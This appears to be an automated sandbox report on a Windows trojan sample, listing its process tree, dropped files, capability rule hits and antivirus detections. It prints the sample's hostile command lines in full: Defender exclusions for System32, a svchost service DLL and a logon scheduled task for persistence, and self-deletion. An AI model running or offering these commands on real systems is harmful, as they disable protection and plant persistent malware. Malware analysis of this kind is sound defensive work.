pyld611114.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6403_us | Aug. 26, 2024, 9:35 a.m. | Aug. 26, 2024, 9:40 a.m. |
-
-
-
powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
2180
-
-
-
-
-
powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
2780
-
-
cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
2968-
powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
3040
-
-
cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
2112 -
-
-
cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
2632-
powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
2740
-
-
cmd.exe cmd.exe /c sc create x748413 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x748413\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x748413.dat" /f && sc start x748413
2088 -
-
-
-
schtasks.exe schtasks /delete /tn "console_zero" /f
1480
-
-
cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
2116-
schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
2972
-
-
-
-
-
timeout.exe timeout /t 10 /nobreak
948
-
-
-
-
-
timeout.exe timeout /t 10 /nobreak
2272
-
-
-
-
cmd.exe cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\test22\AppData\Local\Temp\pyld611114.exe"
2612-
timeout.exe timeout /t 10 /nobreak
2676
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| No hosts contacted. | ||
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
| section | .fptable |
| description | pyld611114.exe tried to sleep 293 seconds, actually delayed analysis time by 3 seconds | |||
| file | C:\Windows\System32\ucrtbased.dll |
| file | C:\Windows\System32\libcrypto-3-x64.dll |
| file | C:\Windows\System32\libwinpthread-1.dll |
| file | C:\Windows\System32\libcurl.dll |
| file | C:\Windows\System32\libintl-9.dll |
| file | C:\Windows\System32\libssl-3-x64.dll |
| file | C:\Windows\System32\usvcinsta64.exe |
| file | C:\Windows\System32\libiconv-2.dll |
| file | C:\Windows\System32\console_zero.exe |
| file | C:\Windows\System32\vcruntime140d.dll |
| file | C:\Windows\System32\zlib1.dll |
| file | C:\Windows \System32\printui.dll |
| file | C:\Windows\System32\libpq.dll |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | cmd.exe /c start "" "C:\Windows\System32\console_zero.exe" |
| cmdline | cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe" |
| cmdline | powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';" |
| cmdline | cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" |
| cmdline | schtasks /delete /tn "console_zero" /f |
| cmdline | cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f |
| cmdline | cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \" |
| cmdline | cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" |
| cmdline | cmd.exe /c mkdir "\\?\C:\Windows \System32" |
| cmdline | cmd.exe /c start "" "C:\Windows \System32\printui.exe" |
| cmdline | cmd.exe /c schtasks /delete /tn "console_zero" /f |
| cmdline | cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe" |
| cmdline | cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';" |
| cmdline | powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" |
| cmdline | schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f |
| cmdline | cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\test22\AppData\Local\Temp\pyld611114.exe" |
| cmdline | sc create x748413 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto |
| cmdline | powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" |
| cmdline | cmd.exe /c sc create x748413 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x748413\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x748413.dat" /f && sc start x748413 |
| url | https://ipinfo.io/json |
| url | http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0 |
| url | http://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0 |
| url | http://microsoft.com0 |
| url | http://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0 |
| url | http://www.microsoft.com/pkiops/docs/primarycps.htm0 |
| url | https://curl.se/docs/alt-svc.html |
| url | https://curl.se/docs/http-cookies.html |
| url | http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0 |
| url | http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0 |
| url | http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0 |
| url | http://worldtimeapi.org/api/timezone/Etc/UTC |
| url | http://www.microsoft.com/PKI/docs/CPS/default.htm0 |
| url | http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0 |
| url | https://curl.se/docs/hsts.html |
| url | http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a |
| url | http://crl.comodo.net/TrustedCertificateServices.crl0 |
| url | http://users.ocsp.d-trust.net03 |
| url | http://crl.ssc.lt/root-b/cacrl.crl0 |
| url | http://crl.securetrust.com/STCA.crl0 |
| url | http://crl.securetrust.com/SGCA.crl0 |
| url | http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0= |
| url | http://www.ssc.lt/cps03 |
| url | http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0 |
| url | http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0 |
| url | http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0 |
| url | http://www.microsoft.com/pki/certs/TrustListPCA.crt0 |
| url | https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0 |
| url | http://www.pkioverheid.nl/policies/root-policy0 |
| url | http://cps.chambersign.org/cps/chambersroot.html0 |
| url | http://www.e-szigno.hu/SZSZ/0 |
| url | http://www.entrust.net/CRL/Client1.crl0 |
| url | http://crl.chambersign.org/publicnotaryroot.crl0 |
| url | http://www.certplus.com/CRL/class3.crl0 |
| url | http://logo.verisign.com/vslogo.gif0 |
| url | http://www.acabogacia.org/doc0 |
| url | http://www.disig.sk/ca/crl/ca_disig.crl0 |
| url | https://www.catcert.net/verarrel |
| url | http://www.sk.ee/cps/0 |
| url | http://www.quovadis.bm0 |
| url | https://www.catcert.net/verarrel05 |
| url | http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0 |
| url | http://crl.chambersign.org/chambersroot.crl0 |
| url | http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0 |
| url | http://crl.globalsign.net/root-r2.crl0 |
| url | http://certificates.starfieldtech.com/repository/1604 |
| url | http://www.d-trust.net0 |
| url | http://crl.comodo.net/AAACertificateServices.crl0 |
| url | http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0 |
| url | http://crl.ssc.lt/root-a/cacrl.crl0 |
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | task schedule | rule | schtasks_Zero | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications smtp | rule | network_smtp_raw | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | task schedule | rule | schtasks_Zero | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications smtp | rule | network_smtp_raw | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| cmdline | reg add HKLM\SYSTEM\CurrentControlSet\services\x748413\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x748413.dat" /f |
| cmdline | schtasks /delete /tn "console_zero" /f |
| cmdline | cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f |
| cmdline | cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \" |
| cmdline | cmd.exe /c mkdir "\\?\C:\Windows \System32" |
| cmdline | cmd.exe /c schtasks /delete /tn "console_zero" /f |
| cmdline | cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe" |
| cmdline | schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f |
| cmdline | cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\test22\AppData\Local\Temp\pyld611114.exe" |
| cmdline | sc create x748413 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto |
| cmdline | cmd.exe /c sc create x748413 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x748413\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x748413.dat" /f && sc start x748413 |
| cmdline | sc start x748413 |
| service_name | x748413 | service_path | C:\Windows\System32\svchost.exe -k DcomLaunch | ||||||
| reg_key | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\x748413\Parameters\ServiceDll | reg_value | C:\Windows\System32\x748413.dat | ||||||
| cmdline | cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f | ||||||||
| cmdline | schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f | ||||||||
| file | C:\Windows\System32\usvcinsta64.exe |
| file | C:\Windows \System32\printui.exe |
| file | C:\Windows\System32\console_zero.exe |
| cmd | cmd.exe /c start "" "c:\windows\system32\console_zero.exe"timeout /t 10 /nobreak reg add hklm\system\currentcontrolset\services\x748413\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x748413.dat" /f cmd.exe /c start "" "c:\windows\system32\usvcinsta64.exe"powershell -command "add-mppreference -exclusionpath 'c:\windows \system32'; add-mppreference -exclusionpath 'c:\windows\system32';"cmd.exe /c powershell -command "add-mppreference -exclusionpath 'c:\windows \system32'"schtasks /delete /tn "console_zero" /fcmd.exe /c schtasks /create /tn "console_zero" /sc onlogon /tr "c:\windows\system32\console_zero.exe" /rl highest /fcmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "c:\windows \""c:\windows\system32\console_zero.exe" cmd.exe /c powershell -command "add-mppreference -exclusionpath 'c:\windows\system32'"cmd.exe /c mkdir "\\?\c:\windows \system32"cmd.exe /c start "" "c:\windows \system32\printui.exe""c:\windows\system32\usvcinsta64.exe" cmd.exe /c schtasks /delete /tn "console_zero" /fcmd.exe /c timeout /t 10 /nobreak && del "c:\windows\system32\usvcinsta64.exe"cmd.exe /c powershell -command "add-mppreference -exclusionpath '%systemdrive%\windows \system32'; add-mppreference -exclusionpath '%systemdrive%\windows\system32';"powershell -command "add-mppreference -exclusionpath 'c:\windows\system32'"schtasks /create /tn "console_zero" /sc onlogon /tr "c:\windows\system32\console_zero.exe" /rl highest /fcmd.exe /c timeout /t 10 /nobreak && del "c:\users\test22\appdata\local\temp\pyld611114.exe"sc create x748413 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto powershell -command "add-mppreference -exclusionpath 'c:\windows \system32'"cmd.exe /c sc create x748413 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x748413\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x748413.dat" /f && sc start x748413"c:\windows \system32\printui.exe" sc start x748413 |
| Bkav | W64.AIDetectMalware |
| Lionic | Trojan.Win32.Generic.4!c |
| Elastic | malicious (high confidence) |
| Cynet | Malicious (score: 99) |
| Skyhigh | BehavesLike.Win64.Injector.vh |
| ALYac | Gen:Variant.Ser.Lazy.7003 |
| VIPRE | Gen:Variant.Ser.Lazy.7003 |
| Sangfor | Trojan.Win64.Lazy.Vkk4 |
| K7AntiVirus | Trojan ( 005b7a9a1 ) |
| BitDefender | Gen:Variant.Ser.Lazy.7003 |
| K7GW | Trojan ( 005b7a9a1 ) |
| Cybereason | malicious.d87318 |
| Arcabit | Trojan.Ser.Lazy.D1B5B |
| Symantec | ML.Attribute.HighConfidence |
| ESET-NOD32 | a variant of Win64/GenKryptik.GZFK |
| APEX | Malicious |
| McAfee | Artemis!43BCE45D8731 |
| Avast | Win64:Evo-gen [Trj] |
| ClamAV | Win.Dropper.Lazy-10032893-0 |
| Alibaba | Trojan:Win64/GenKryptik.d91f77d0 |
| MicroWorld-eScan | Gen:Variant.Ser.Lazy.7003 |
| Rising | Trojan.Kryptik!8.8 (CLOUD) |
| Emsisoft | Gen:Variant.Ser.Lazy.7003 (B) |
| F-Secure | Trojan.TR/AD.Nekark.dzein |
| DrWeb | Trojan.Siggen29.25402 |
| McAfeeD | ti!9AE4784F0B13 |
| Trapmine | suspicious.low.ml.score |
| FireEye | Gen:Variant.Ser.Lazy.7003 |
| Sophos | Mal/Generic-S |
| Ikarus | Trojan.Win64.Agent |
| Detected | |
| Avira | TR/AD.Nekark.dzein |
| MAX | malware (ai score=82) |
| Antiy-AVL | Trojan/Win32.Phonzy |
| Gridinsoft | Trojan.Win64.Kryptik.sa |
| Microsoft | Trojan:Win32/Phonzy.A!ml |
| GData | Gen:Variant.Ser.Lazy.7003 |
| Varist | W64/ABRisk.TIUU-6574 |
| AhnLab-V3 | Malware/Win.Generic.C5660176 |
| DeepInstinct | MALICIOUS |
| Malwarebytes | Floxif.Virus.FileInfector.DDS |
| Panda | Trj/Chgt.AD |
| TrendMicro-HouseCall | TROJ_GEN.R002H09HJ24 |
| Fortinet | W64/GenKryptik.GZFK!tr |
| AVG | Win64:Evo-gen [Trj] |
| Paloalto | generic.ml |
| CrowdStrike | win/malicious_confidence_70% (D) |
| alibabacloud | Trojan:Win/Phonzy.A9nj |